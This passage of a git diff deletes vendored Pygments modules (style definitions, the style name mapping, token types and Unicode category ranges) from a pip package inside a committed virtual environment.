ndef[8] = 1 - else: - ndef[0] = colorformat(styledef) - - return obj - - def style_for_token(cls, token): - t = cls._styles[token] - ansicolor = bgansicolor = None - color = t[0] - if color in _deprecated_ansicolors: - color = _deprecated_ansicolors[color] - if color in ansicolors: - ansicolor = color - color = _ansimap[color] - bgcolor = t[4] - if bgcolor in _deprecated_ansicolors: - bgcolor = _deprecated_ansicolors[bgcolor] - if bgcolor in ansicolors: - bgansicolor = bgcolor - bgcolor = _ansimap[bgcolor] - - return { - 'color': color or None, - 'bold': bool(t[1]), - 'italic': bool(t[2]), - 'underline': bool(t[3]), - 'bgcolor': bgcolor or None, - 'border': t[5] or None, - 'roman': bool(t[6]) or None, - 'sans': bool(t[7]) or None, - 'mono': bool(t[8]) or None, - 'ansicolor': ansicolor, - 'bgansicolor': bgansicolor, - } - - def list_styles(cls): - return list(cls) - - def styles_token(cls, ttype): - return ttype in cls._styles - - def __iter__(cls): - for token in cls._styles: - yield token, cls.style_for_token(token) - - def __len__(cls): - return len(cls._styles) - - -class Style(metaclass=StyleMeta): - - #: overall background color (``None`` means transparent) - background_color = '#ffffff' - - #: highlight background color - highlight_color = '#ffffcc' - - #: line number font color - line_number_color = 'inherit' - - #: line number background color - line_number_background_color = 'transparent' - - #: special line number font color - line_number_special_color = '#000000' - - #: special line number background color - line_number_special_background_color = '#ffffc0' - - #: Style definitions for individual token types. - styles = {} - - #: user-friendly style name (used when selecting the style, so this - # should be all-lowercase, no spaces, hyphens) - name = 'unnamed' - - aliases = [] - - # Attribute for lexers defined within Pygments. If set - # to True, the style is not shown in the style gallery - # on the website. This is intended for language-specific - # styles. - web_style_gallery_exclude = False diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/styles/__init__.py b/venv/Lib/site-packages/pip/_vendor/pygments/styles/__init__.py deleted file mode 100644 index 29f2110ad4da37ed29ed558424e1f144f602e722..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pygments/styles/__init__.py +++ /dev/null @@ -1,61 +0,0 @@ -""" - pygments.styles - ~~~~~~~~~~~~~~~ - - Contains built-in styles. - - :copyright: Copyright 2006-present by the Pygments team, see AUTHORS. - :license: BSD, see LICENSE for details. -""" - -from pip._vendor.pygments.plugin import find_plugin_styles -from pip._vendor.pygments.util import ClassNotFound -from pip._vendor.pygments.styles._mapping import STYLES - -#: A dictionary of built-in styles, mapping style names to -#: ``'submodule::classname'`` strings. -#: This list is deprecated. Use `pygments.styles.STYLES` instead -STYLE_MAP = {v[1]: v[0].split('.')[-1] + '::' + k for k, v in STYLES.items()} - -#: Internal reverse mapping to make `get_style_by_name` more efficient -_STYLE_NAME_TO_MODULE_MAP = {v[1]: (v[0], k) for k, v in STYLES.items()} - - -def get_style_by_name(name): - """ - Return a style class by its short name. The names of the builtin styles - are listed in :data:`pygments.styles.STYLE_MAP`. - - Will raise :exc:`pygments.util.ClassNotFound` if no style of that name is - found. - """ - if name in _STYLE_NAME_TO_MODULE_MAP: - mod, cls = _STYLE_NAME_TO_MODULE_MAP[name] - builtin = "yes" - else: - for found_name, style in find_plugin_styles(): - if name == found_name: - return style - # perhaps it got dropped into our styles package - builtin = "" - mod = 'pygments.styles.' + name - cls = name.title() + "Style" - - try: - mod = __import__(mod, None, None, [cls]) - except ImportError: - raise ClassNotFound(f"Could not find style module {mod!r}" + - (builtin and ", though it should be builtin") - + ".") - try: - return getattr(mod, cls) - except AttributeError: - raise ClassNotFound(f"Could not find style class {cls!r} in style module.") - - -def get_all_styles(): - """Return a generator for all styles by name, both builtin and plugin.""" - for v in STYLES.values(): - yield v[1] - for name, _ in find_plugin_styles(): - yield name diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/styles/_mapping.py b/venv/Lib/site-packages/pip/_vendor/pygments/styles/_mapping.py deleted file mode 100644 index 49a7fae92dc4d9ed6bcdb735f346b79c476f49ad..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pygments/styles/_mapping.py +++ /dev/null @@ -1,54 +0,0 @@ -# Automatically generated by scripts/gen_mapfiles.py. -# DO NOT EDIT BY HAND; run `tox -e mapfiles` instead. - -STYLES = { - 'AbapStyle': ('pygments.styles.abap', 'abap', ()), - 'AlgolStyle': ('pygments.styles.algol', 'algol', ()), - 'Algol_NuStyle': ('pygments.styles.algol_nu', 'algol_nu', ()), - 'ArduinoStyle': ('pygments.styles.arduino', 'arduino', ()), - 'AutumnStyle': ('pygments.styles.autumn', 'autumn', ()), - 'BlackWhiteStyle': ('pygments.styles.bw', 'bw', ()), - 'BorlandStyle': ('pygments.styles.borland', 'borland', ()), - 'CoffeeStyle': ('pygments.styles.coffee', 'coffee', ()), - 'ColorfulStyle': ('pygments.styles.colorful', 'colorful', ()), - 'DefaultStyle': ('pygments.styles.default', 'default', ()), - 'DraculaStyle': ('pygments.styles.dracula', 'dracula', ()), - 'EmacsStyle': ('pygments.styles.emacs', 'emacs', ()), - 'FriendlyGrayscaleStyle': ('pygments.styles.friendly_grayscale', 'friendly_grayscale', ()), - 'FriendlyStyle': ('pygments.styles.friendly', 'friendly', ()), - 'FruityStyle': ('pygments.styles.fruity', 'fruity', ()), - 'GhDarkStyle': ('pygments.styles.gh_dark', 'github-dark', ()), - 'GruvboxDarkStyle': ('pygments.styles.gruvbox', 'gruvbox-dark', ()), - 'GruvboxLightStyle': ('pygments.styles.gruvbox', 'gruvbox-light', ()), - 'IgorStyle': ('pygments.styles.igor', 'igor', ()), - 'InkPotStyle': ('pygments.styles.inkpot', 'inkpot', ()), - 'LightbulbStyle': ('pygments.styles.lightbulb', 'lightbulb', ()), - 'LilyPondStyle': ('pygments.styles.lilypond', 'lilypond', ()), - 'LovelaceStyle': ('pygments.styles.lovelace', 'lovelace', ()), - 'ManniStyle': ('pygments.styles.manni', 'manni', ()), - 'MaterialStyle': ('pygments.styles.material', 'material', ()), - 'MonokaiStyle': ('pygments.styles.monokai', 'monokai', ()), - 'MurphyStyle': ('pygments.styles.murphy', 'murphy', ()), - 'NativeStyle': ('pygments.styles.native', 'native', ()), - 'NordDarkerStyle': ('pygments.styles.nord', 'nord-darker', ()), - 'NordStyle': ('pygments.styles.nord', 'nord', ()), - 'OneDarkStyle': ('pygments.styles.onedark', 'one-dark', ()), - 'ParaisoDarkStyle': ('pygments.styles.paraiso_dark', 'paraiso-dark', ()), - 'ParaisoLightStyle': ('pygments.styles.paraiso_light', 'paraiso-light', ()), - 'PastieStyle': ('pygments.styles.pastie', 'pastie', ()), - 'PerldocStyle': ('pygments.styles.perldoc', 'perldoc', ()), - 'RainbowDashStyle': ('pygments.styles.rainbow_dash', 'rainbow_dash', ()), - 'RrtStyle': ('pygments.styles.rrt', 'rrt', ()), - 'SasStyle': ('pygments.styles.sas', 'sas', ()), - 'SolarizedDarkStyle': ('pygments.styles.solarized', 'solarized-dark', ()), - 'SolarizedLightStyle': ('pygments.styles.solarized', 'solarized-light', ()), - 'StarofficeStyle': ('pygments.styles.staroffice', 'staroffice', ()), - 'StataDarkStyle': ('pygments.styles.stata_dark', 'stata-dark', ()), - 'StataLightStyle': ('pygments.styles.stata_light', 'stata-light', ()), - 'TangoStyle': ('pygments.styles.tango', 'tango', ()), - 'TracStyle': ('pygments.styles.trac', 'trac', ()), - 'VimStyle': ('pygments.styles.vim', 'vim', ()), - 'VisualStudioStyle': ('pygments.styles.vs', 'vs', ()), - 'XcodeStyle': ('pygments.styles.xcode', 'xcode', ()), - 'ZenburnStyle': ('pygments.styles.zenburn', 'zenburn', ()), -} diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/token.py b/venv/Lib/site-packages/pip/_vendor/pygments/token.py deleted file mode 100644 index 1f756b71130e1c0036d881345ab06968c9f4c464..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pygments/token.py +++ /dev/null @@ -1,214 +0,0 @@ -""" - pygments.token - ~~~~~~~~~~~~~~ - - Basic token types and the standard tokens. - - :copyright: Copyright 2006-present by the Pygments team, see AUTHORS. - :license: BSD, see LICENSE for details. -""" - - -class _TokenType(tuple): - parent = None - - def split(self): - buf = [] - node = self - while node is not None: - buf.append(node) - node = node.parent - buf.reverse() - return buf - - def __init__(self, *args): - # no need to call super.__init__ - self.subtypes = set() - - def __contains__(self, val): - return self is val or ( - type(val) is self.__class__ and - val[:len(self)] == self - ) - - def __getattr__(self, val): - if not val or not val[0].isupper(): - return tuple.__getattribute__(self, val) - new = _TokenType(self + (val,)) - setattr(self, val, new) - self.subtypes.add(new) - new.parent = self - return new - - def __repr__(self): - return 'Token' + (self and '.' or '') + '.'.join(self) - - def __copy__(self): - # These instances are supposed to be singletons - return self - - def __deepcopy__(self, memo): - # These instances are supposed to be singletons - return self - - -Token = _TokenType() - -# Special token types -Text = Token.Text -Whitespace = Text.Whitespace -Escape = Token.Escape -Error = Token.Error -# Text that doesn't belong to this lexer (e.g. HTML in PHP) -Other = Token.Other - -# Common token types for source code -Keyword = Token.Keyword -Name = Token.Name -Literal = Token.Literal -String = Literal.String -Number = Literal.Number -Punctuation = Token.Punctuation -Operator = Token.Operator -Comment = Token.Comment - -# Generic types for non-source code -Generic = Token.Generic - -# String and some others are not direct children of Token. -# alias them: -Token.Token = Token -Token.String = String -Token.Number = Number - - -def is_token_subtype(ttype, other): - """ - Return True if ``ttype`` is a subtype of ``other``. - - exists for backwards compatibility. use ``ttype in other`` now. - """ - return ttype in other - - -def string_to_tokentype(s): - """ - Convert a string into a token type:: - - >>> string_to_token('String.Double') - Token.Literal.String.Double - >>> string_to_token('Token.Literal.Number') - Token.Literal.Number - >>> string_to_token('') - Token - - Tokens that are already tokens are returned unchanged: - - >>> string_to_token(String) - Token.Literal.String - """ - if isinstance(s, _TokenType): - return s - if not s: - return Token - node = Token - for item in s.split('.'): - node = getattr(node, item) - return node - - -# Map standard token types to short names, used in CSS class naming. -# If you add a new item, please be sure to run this file to perform -# a consistency check for duplicate values. -STANDARD_TYPES = { - Token: '', - - Text: '', - Whitespace: 'w', - Escape: 'esc', - Error: 'err', - Other: 'x', - - Keyword: 'k', - Keyword.Constant: 'kc', - Keyword.Declaration: 'kd', - Keyword.Namespace: 'kn', - Keyword.Pseudo: 'kp', - Keyword.Reserved: 'kr', - Keyword.Type: 'kt', - - Name: 'n', - Name.Attribute: 'na', - Name.Builtin: 'nb', - Name.Builtin.Pseudo: 'bp', - Name.Class: 'nc', - Name.Constant: 'no', - Name.Decorator: 'nd', - Name.Entity: 'ni', - Name.Exception: 'ne', - Name.Function: 'nf', - Name.Function.Magic: 'fm', - Name.Property: 'py', - Name.Label: 'nl', - Name.Namespace: 'nn', - Name.Other: 'nx', - Name.Tag: 'nt', - Name.Variable: 'nv', - Name.Variable.Class: 'vc', - Name.Variable.Global: 'vg', - Name.Variable.Instance: 'vi', - Name.Variable.Magic: 'vm', - - Literal: 'l', - Literal.Date: 'ld', - - String: 's', - String.Affix: 'sa', - String.Backtick: 'sb', - String.Char: 'sc', - String.Delimiter: 'dl', - String.Doc: 'sd', - String.Double: 's2', - String.Escape: 'se', - String.Heredoc: 'sh', - String.Interpol: 'si', - String.Other: 'sx', - String.Regex: 'sr', - String.Single: 's1', - String.Symbol: 'ss', - - Number: 'm', - Number.Bin: 'mb', - Number.Float: 'mf', - Number.Hex: 'mh', - Number.Integer: 'mi', - Number.Integer.Long: 'il', - Number.Oct: 'mo', - - Operator: 'o', - Operator.Word: 'ow', - - Punctuation: 'p', - Punctuation.Marker: 'pm', - - Comment: 'c', - Comment.Hashbang: 'ch', - Comment.Multiline: 'cm', - Comment.Preproc: 'cp', - Comment.PreprocFile: 'cpf', - Comment.Single: 'c1', - Comment.Special: 'cs', - - Generic: 'g', - Generic.Deleted: 'gd', - Generic.Emph: 'ge', - Generic.Error: 'gr', - Generic.Heading: 'gh', - Generic.Inserted: 'gi', - Generic.Output: 'go', - Generic.Prompt: 'gp', - Generic.Strong: 'gs', - Generic.Subheading: 'gu', - Generic.EmphStrong: 'ges', - Generic.Traceback: 'gt', -} diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/unistring.py b/venv/Lib/site-packages/pip/_vendor/pygments/unistring.py deleted file mode 100644 index 2a326dff8d7c3594b83b17b8a7705a6ddf2f13fa..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pygments/unistring.py +++ /dev/null @@ -1,153 +0,0 @@ -""" - pygments.unistring - ~~~~~~~~~~~~~~~~~~ - - Strings of all Unicode characters of a certain category. - Used for matching in Unicode-aware languages. Run to regenerate. - - Inspired by chartypes_create.py from the MoinMoin project. - - :copyright: Copyright 2006-present by the Pygments team, see AUTHORS. - :license: BSD, see LICENSE for details. -""" - -Cc = '\x00-\x1f\x7f-\x9f' - -Cf = '\xad\u0600-\u0605\u061c\u06dd\u070f\u08e2\u180e\u200b-\u200f\u202a-\u202e\u2060-\u2064\u2066-\u206f\ufeff\ufff9-\ufffb\U000110bd\U000110cd\U0001bca0-\U0001bca3\U0001d173-\U0001d17a\U000e0001\U000e0020-\U000e007f' - -Cn = '\u0378-\u0379\u0380-\u0383\u038b\u038d\u03a2\u0530\u0557-\u0558\u058b-\u058c\u0590\u05c8-\u05cf\u05eb-\u05ee\u05f5-\u05ff\u061d\u070e\u074b-\u074c\u07b2-\u07bf\u07fb-\u07fc\u082e-\u082f\u083f\u085c-\u085d\u085f\u086b-\u089f\u08b5\u08be-\u08d2\u0984\u098d-\u098e\u0991-\u0992\u09a9\u09b1\u09b3-\u09b5\u09ba-\u09bb\u09c5-\u09c6\u09c9-\u09ca\u09cf-\u09d6\u09d8-\u09db\u09de\u09e4-\u09e5\u09ff-\u0a00\u0a04\u0a0b-\u0a0e\u0a11-\u0a12\u0a29\u0a31\u0a34\u0a37\u0a3a-\u0a3b\u0a3d\u0a43-\u0a46\u0a49-\u0a4a\u0a4e-\u0a50\u0a52-\u0a58\u0a5d\u0a5f-\u0a65\u0a77-\u0a80\u0a84\u0a8e\u0a92\u0aa9\u0ab1\u0ab4\u0aba-\u0abb\u0ac6\u0aca\u0ace-\u0acf\u0ad1-\u0adf\u0ae4-\u0ae5\u0af2-\u0af8\u0b00\u0b04\u0b0d-\u0b0e\u0b11-\u0b12\u0b29\u0b31\u0b34\u0b3a-\u0b3b\u0b45-\u0b46\u0b49-\u0b4a\u0b4e-\u0b55\u0b58-\u0b5b\u0b5e\u0b64-\u0b65\u0b78-\u0b81\u0b84\u0b8b-\u0b8d\u0b91\u0b96-\u0b98\u0b9b\u0b9d\u0ba0-\u0ba2\u0ba5-\u0ba7\u0bab-\u0bad\u0bba-\u0bbd\u0bc3-\u0bc5\u0bc9\u0bce-\u0bcf\u0bd1-\u0bd6\u0bd8-\u0be5\u0bfb-\u0bff\u0c0d\u0c11\u0c29\u0c3a-\u0c3c\u0c45\u0c49\u0c4e-\u0c54\u0c57\u0c5b-\u0c5f\u0c64-\u0c65\u0c70-\u0c77\u0c8d\u0c91\u0ca9\u0cb4\u0cba-\u0cbb\u0cc5\u0cc9\u0cce-\u0cd4\u0cd7-\u0cdd\u0cdf\u0ce4-\u0ce5\u0cf0\u0cf3-\u0cff\u0d04\u0d0d\u0d11\u0d45\u0d49\u0d50-\u0d53\u0d64-\u0d65\u0d80-\u0d81\u0d84\u0d97-\u0d99\u0db2\u0dbc\u0dbe-\u0dbf\u0dc7-\u0dc9\u0dcb-\u0dce\u0dd5\u0dd7\u0de0-\u0de5\u0df0-\u0df1\u0df5-\u0e00\u0e3b-\u0e3e\u0e5c-\u0e80\u0e83\u0e85-\u0e86\u0e89\u0e8b-\u0e8c\u0e8e-\u0e93\u0e98\u0ea0\u0ea4\u0ea6\u0ea8-\u0ea9\u0eac\u0eba\u0ebe-\u0ebf\u0ec5\u0ec7\u0ece-\u0ecf\u0eda-\u0edb\u0ee0-\u0eff\u0f48\u0f6d-\u0f70\u0f98\u0fbd\u0fcd\u0fdb-\u0fff\u10c6\u10c8-\u10cc\u10ce-\u10cf\u1249\u124e-\u124f\u1257\u1259\u125e-\u125f\u1289\u128e-\u128f\u12b1\u12b6-\u12b7\u12bf\u12c1\u12c6-\u12c7\u12d7\u1311\u1316-\u1317\u135b-\u135c\u137d-\u137f\u139a-\u139f\u13f6-\u13f7\u13fe-\u13ff\u169d-\u169f\u16f9-\u16ff\u170d\u1715-\u171f\u1737-\u173f\u1754-\u175f\u176d\u1771\u1774-\u177f\u17de-\u17df\u17ea-\u17ef\u17fa-\u17ff\u180f\u181a-\u181f\u1879-\u187f\u18ab-\u18af\u18f6-\u18ff\u191f\u192c-\u192f\u193c-\u193f\u1941-\u1943\u196e-\u196f\u1975-\u197f\u19ac-\u19af\u19ca-\u19cf\u19db-\u19dd\u1a1c-\u1a1d\u1a5f\u1a7d-\u1a7e\u1a8a-\u1a8f\u1a9a-\u1a9f\u1aae-\u1aaf\u1abf-\u1aff\u1b4c-\u1b4f\u1b7d-\u1b7f\u1bf4-\u1bfb\u1c38-\u1c3a\u1c4a-\u1c4c\u1c89-\u1c8f\u1cbb-\u1cbc\u1cc8-\u1ccf\u1cfa-\u1cff\u1dfa\u1f16-\u1f17\u1f1e-\u1f1f\u1f46-\u1f47\u1f4e-\u1f4f\u1f58\u1f5a\u1f5c\u1f5e\u1f7e-\u1f7f\u1fb5\u1fc5\u1fd4-\u1fd5\u1fdc\u1ff0-\u1ff1\u1ff5\u1fff\u2065\u2072-\u2073\u208f\u209d-\u209f\u20c0-\u20cf\u20f1-\u20ff\u218c-\u218f\u2427-\u243f\u244b-\u245f\u2b74-\u2b75\u2b96-\u2b97\u2bc9\u2bff\u2c2f\u2c5f\u2cf4-\u2cf8\u2d26\u2d28-\u2d2c\u2d2e-\u2d2f\u2d68-\u2d6e\u2d71-\u2d7e\u2d97-\u2d9f\u2da7\u2daf\u2db7\u2dbf\u2dc7\u2dcf\u2dd7\u2ddf\u2e4f-\u2e7f\u2e9a\u2ef4-\u2eff\u2fd6-\u2fef\u2ffc-\u2fff\u3040\u3097-\u3098\u3100-\u3104\u3130\u318f\u31bb-\u31bf\u31e4-\u31ef\u321f\u32ff\u4db6-\u4dbf\u9ff0-\u9fff\ua48d-\ua48f\ua4c7-\ua4cf\ua62c-\ua63f\ua6f8-\ua6ff\ua7ba-\ua7f6\ua82c-\ua82f\ua83a-\ua83f\ua878-\ua87f\ua8c6-\ua8cd\ua8da-\ua8df\ua954-\ua95e\ua97d-\ua97f\ua9ce\ua9da-\ua9dd\ua9ff\uaa37-\uaa3f\uaa4e-\uaa4f\uaa5a-\uaa5b\uaac3-\uaada\uaaf7-\uab00\uab07-\uab08\uab0f-\uab10\uab17-\uab1f\uab27\uab2f\uab66-\uab6f\uabee-\uabef\uabfa-\uabff\ud7a4-\ud7af\ud7c7-\ud7ca\ud7fc-\ud7ff\ufa6e-\ufa6f\ufada-\ufaff\ufb07-\ufb12\ufb18-\ufb1c\ufb37\ufb3d\ufb3f\ufb42\ufb45\ufbc2-\ufbd2\ufd40-\ufd4f\ufd90-\ufd91\ufdc8-\ufdef\ufdfe-\ufdff\ufe1a-\ufe1f\ufe53\ufe67\ufe6c-\ufe6f\ufe75\ufefd-\ufefe\uff00\uffbf-\uffc1\uffc8-\uffc9\uffd0-\uffd1\uffd8-\uffd9\uffdd-\uffdf\uffe7\uffef-\ufff8\ufffe-\uffff\U0001000c\U00010027\U0001003b\U0001003e\U0001004e-\U0001004f\U0001005e-\U0001007f\U000100fb-\U000100ff\U00010103-\U00010106\U00010134-\U00010136\U0001018f\U0001019c-\U0001019f\U000101a1-\U000101cf\U000101fe-\U0001027f\U0001029d-\U0001029f\U000102d1-\U000102df\U000102fc-\U000102ff\U00010324-\U0001032c\U0001034b-\U0001034f\U0001037b-\U0001037f\U0001039e\U000103c4-\U000103c7\U000103d6-\U000103ff\U0001049e-\U0001049f\U000104aa-\U000104af\U000104d4-\U000104d7\U000104fc-\U000104ff\U00010528-\U0001052f\U00010564-\U0001056e\U00010570-\U000105ff\U00010737-\U0001073f\U00010756-\U0001075f\U00010768-\U000107ff\U00010806-\U00010807\U00010809\U00010836\U00010839-\U0001083b\U0001083d-\U0001083e\U00010856\U0001089f-\U000108a6\U000108b0-\U000108df\U000108f3\U000108f6-\U000108fa\U0001091c-\U0001091e\U0001093a-\U0001093e\U00010940-\U0001097f\U000109b8-\U000109bb\U000109d0-\U000109d1\U00010a04\U00010a07-\U00010a0b\U00010a14\U00010a18\U00010a36-\U00010a37\U00010a3b-\U00010a3e\U00010a49-\U00010a4f\U00010a59-\U00010a5f\U00010aa0-\U00010abf\U00010ae7-\U00010aea\U00010af7-\U00010aff\U00010b36-\U00010b38\U00010b56-\U00010b57\U00010b73-\U00010b77\U00010b92-\U00010b98\U00010b9d-\U00010ba8\U00010bb0-\U00010bff\U00010c49-\U00010c7f\U00010cb3-\U00010cbf\U00010cf3-\U00010cf9\U00010d28-\U00010d2f\U00010d3a-\U00010e5f\U00010e7f-\U00010eff\U00010f28-\U00010f2f\U00010f5a-\U00010fff\U0001104e-\U00011051\U00011070-\U0001107e\U000110c2-\U000110cc\U000110ce-\U000110cf\U000110e9-\U000110ef\U000110fa-\U000110ff\U00011135\U00011147-\U0001114f\U00011177-\U0001117f\U000111ce-\U000111cf\U000111e0\U000111f5-\U000111ff\U00011212\U0001123f-\U0001127f\U00011287\U00011289\U0001128e\U0001129e\U000112aa-\U000112af\U000112eb-\U000112ef\U000112fa-\U000112ff\U00011304\U0001130d-\U0001130e\U00011311-\U00011312\U00011329\U00011331\U00011334\U0001133a\U00011345-\U00011346\U00011349-\U0001134a\U0001134e-\U0001134f\U00011351-\U00011356\U00011358-\U0001135c\U00011364-\U00011365\U0001136d-\U0001136f\U00011375-\U000113ff\U0001145a\U0001145c\U0001145f-\U0001147f\U000114c8-\U000114cf\U000114da-\U0001157f\U000115b6-\U000115b7\U000115de-\U000115ff\U00011645-\U0001164f\U0001165a-\U0001165f\U0001166d-\U0001167f\U000116b8-\U000116bf\U000116ca-\U000116ff\U0001171b-\U0001171c\U0001172c-\U0001172f\U00011740-\U000117ff\U0001183c-\U0001189f\U000118f3-\U000118fe\U00011900-\U000119ff\U00011a48-\U00011a4f\U00011a84-\U00011a85\U00011aa3-\U00011abf\U00011af9-\U00011bff\U00011c09\U00011c37\U00011c46-\U00011c4f\U00011c6d-\U00011c6f\U00011c90-\U00011c91\U00011ca8\U00011cb7-\U00011cff\U00011d07\U00011d0a\U00011d37-\U00011d39\U00011d3b\U00011d3e\U00011d48-\U00011d4f\U00011d5a-\U00011d5f\U00011d66\U00011d69\U00011d8f\U00011d92\U00011d99-\U00011d9f\U00011daa-\U00011edf\U00011ef9-\U00011fff\U0001239a-\U000123ff\U0001246f\U00012475-\U0001247f\U00012544-\U00012fff\U0001342f-\U000143ff\U00014647-\U000167ff\U00016a39-\U00016a3f\U00016a5f\U00016a6a-\U00016a6d\U00016a70-\U00016acf\U00016aee-\U00016aef\U00016af6-\U00016aff\U00016b46-\U00016b4f\U00016b5a\U00016b62\U00016b78-\U00016b7c\U00016b90-\U00016e3f\U00016e9b-\U00016eff\U00016f45-\U00016f4f\U00016f7f-\U00016f8e\U00016fa0-\U00016fdf\U00016fe2-\U00016fff\U000187f2-\U000187ff\U00018af3-\U0001afff\U0001b11f-\U0001b16f\U0001b2fc-\U0001bbff\U0001bc6b-\U0001bc6f\U0001bc7d-\U0001bc7f\U0001bc89-\U0001bc8f\U0001bc9a-\U0001bc9b\U0001bca4-\U0001cfff\U0001d0f6-\U0001d0ff\U0001d127-\U0001d128\U0001d1e9-\U0001d1ff\U0001d246-\U0001d2df\U0001d2f4-\U0001d2ff\U0001d357-\U0001d35f\U0001d379-\U0001d3ff\U0001d455\U0001d49d\U0001d4a0-\U0001d4a1\U0001d4a3-\U0001d4a4\U0001d4a7-\U0001d4a8\U0001d4ad\U0001d4ba\U0001d4bc\U0001d4c4\U0001d506\U0001d50b-\U0001d50c\U0001d515\U0001d51d\U0001d53a\U0001d53f\U0001d545\U0001d547-\U0001d549\U0001d551\U0001d6a6-\U0001d6a7\U0001d7cc-\U0001d7cd\U0001da8c-\U0001da9a\U0001daa0\U0001dab0-\U0001dfff\U0001e007\U0001e019-\U0001e01a\U0001e022\U0001e025\U0001e02b-\U0001e7ff\U0001e8c5-\U0001e8c6\U0001e8d7-\U0001e8ff\U0001e94b-\U0001e94f\U0001e95a-\U0001e95d\U0001e960-\U0001ec70\U0001ecb5-\U0001edff\U0001ee04\U0001ee20\U0001ee23\U0001ee25-\U0001ee26\U0001ee28\U0001ee33\U0001ee38\U0001ee3a\U0001ee3c-\U0001ee41\U0001ee43-\U0001ee46\U0001ee48\U0001ee4a\U0001ee4c\U0001ee50\U0001ee53\U0001ee55-\U0001ee56\U0001ee58\U0001ee5a\U0001ee5c\U0001ee5e\U0001ee60\U0001ee63\U0001ee65-\U0001ee66\U0001ee6b\U0001ee73\U0001ee78\U0001ee7d\U0001ee7f\U0001ee8a\U0001ee9c-\U0001eea0\U0001eea4\U0001eeaa\U0001eebc-\U0001eeef\U0001eef2-\U0001efff\U0001f02c-\U0001f02f\U0001f094-\U0001f09f\U0001f0af-\U0001f0b0\U0001f0c0\U0001f0d0\U0001f0f6-\U0001f0ff\U0001f10d-\U0001f10f\U0001f16c-\U0001f16f\U0001f1ad-\U0001f1e5\U0001f203-\U0001f20f\U0001f23c-\U0001f23f\U0001f249-\U0001f24f\U0001f252-\U0001f25f\U0001f266-\U0001f2ff\U0001f6d5-\U0001f6df\U0001f6ed-\U0001f6ef\U0001f6fa-\U0001f6ff\U0001f774-\U0001f77f\U0001f7d9-\U0001f7ff\U0001f80c-\U0001f80f\U0001f848-\U0001f84f\U0001f85a-\U0001f85f\U0001f888-\U0001f88f\U0001f8ae-\U0001f8ff\U0001f90c-\U0001f90f\U0001f93f\U0001f971-\U0001f972\U0001f977-\U0001f979\U0001f97b\U0001f9a3-\U0001f9af\U0001f9ba-\U0001f9bf\U0001f9c3-\U0001f9cf\U0001fa00-\U0001fa5f\U0001fa6e-\U0001ffff\U0002a6d7-\U0002a6ff\U0002b735-\U0002b73f\U0002b81e-\U0002b81f\U0002cea2-\U0002ceaf\U0002ebe1-\U0002f7ff\U0002fa1e-\U000e0000\U000e0002-\U000e001f\U000e0080-\U000e00ff\U000e01f0-\U000effff\U000ffffe-\U000fffff\U0010fffe-\U0010ffff' - -Co = '\ue000-\uf8ff\U000f0000-\U000ffffd\U00100000-\U0010fffd' - -Cs = '\ud800-\udbff\\\udc00\udc01-\udfff' - -Ll = 'a-z\xb5\xdf-\xf6\xf8-\xff\u0101\u0103\u0105\u0107\u0109\u010b\u010d\u010f\u0111\u0113\u0115\u0117\u0119\u011b\u011d\u011f\u0121\u0123\u0125\u0127\u0129\u012b\u012d\u012f\u0131\u0133\u0135\u0137-\u0138\u013a\u013c\u013e\u0140\u0142\u0144\u0146\u0148-\u0149\u014b\u014d\u014f\u0151\u0153\u0155\u0157\u0159\u015b\u015d\u015f\u0161\u0163\u0165\u0167\u0169\u016b\u016d\u016f\u0171\u0173\u0175\u0177\u017a\u017c\u017e-\u0180\u0183\u0185\u0188\u018c-\u018d\u0192\u0195\u0199-\u019b\u019e\u01a1\u01a3\u01a5\u01a8\u01aa-\u01ab\u01ad\u01b0\u01b4\u01b6\u01b9-\u01ba\u01bd-\u01bf\u01c6\u01c9\u01cc\u01ce\u01d0\u01d2\u01d4\u01d6\u01d8\u01da\u01dc-\u01dd\u01df\u01e1\u01e3\u01e5\u01e7\u01e9\u01eb\u01ed\u01ef-\u01f0\u01f3\u01f5\u01f9\u01fb\u01fd\u01ff\u0201\u0203\u0205\u0207\u0209\u020b\u020d\u020f\u0211\u0213\u0215\u0217\u0219\u021b\u021d\u021f\u0221\u0223\u0225\u0227\u0229\u022b\u022d\u022f\u0231\u0233-\u0239\u023c\u023f-\u0240\u0242\u0247\u0249\u024b\u024d\u024f-\u0293\u0295-\u02af\u0371\u0373\u0377\u037b-\u037d\u0390\u03ac-\u03ce\u03d0-\u03d1\u03d5-\u03d7\u03d9\u03db\u03dd\u03df\u03e1\u03e3\u03e5\u03e7\u03e9\u03eb\u03ed\u03ef-\u03f3\u03f5\u03f8\u03fb-\u03fc\u0430-\u045f\u0461\u0463\u0465\u0467\u0469\u046b\u046d\u046f\u0471\u0473\u0475\u0477\u0479\u047b\u047d\u047f\u0481\u048b\u048d\u048f\u0491\u0493\u0495\u0497\u0499\u049b\u049d\u049f\u04a1\u04a3\u04a5\u04a7\u04a9\u04ab\u04ad\u04af\u04b1\u04b3\u04b5\u04b7\u04b9\u04bb\u04bd\u04bf\u04c2\u04c4\u04c6\u04c8\u04ca\u04cc\u04ce-\u04cf\u04d1\u04d3\u04d5\u04d7\u04d9\u04db\u04dd\u04df\u04e1\u04e3\u04e5\u04e7\u04e9\u04eb\u04ed\u04ef\u04f1\u04f3\u04f5\u04f7\u04f9\u04fb\u04fd\u04ff\u0501\u0503\u0505\u0507\u0509\u050b\u050d\u050f\u0511\u0513\u0515\u0517\u0519\u051b\u051d\u051f\u0521\u0523\u0525\u0527\u0529\u052b\u052d\u052f\u0560-\u0588\u10d0-\u10fa\u10fd-\u10ff\u13f8-\u13fd\u1c80-\u1c88\u1d00-\u1d2b\u1d6b-\u1d77\u1d79-\u1d9a\u1e01\u1e03\u1e05\u1e07\u1e09\u1e0b\u1e0d\u1e0f\u1e11\u1e13\u1e15\u1e17\u1e19\u1e1b\u1e1d\u1e1f\u1e21\u1e23\u1e25\u1e27\u1e29\u1e2b\u1e2d\u1e2f\u1e31\u1e33\u1e35\u1e37\u1e39\u1e3b\u1e3d\u1e3f\u1e41\u1e43\u1e45\u1e47\u1e49\u1e4b\u1e4d\u1e4f\u1e51\u1e53\u1e55\u1e57\u1e59\u1e5b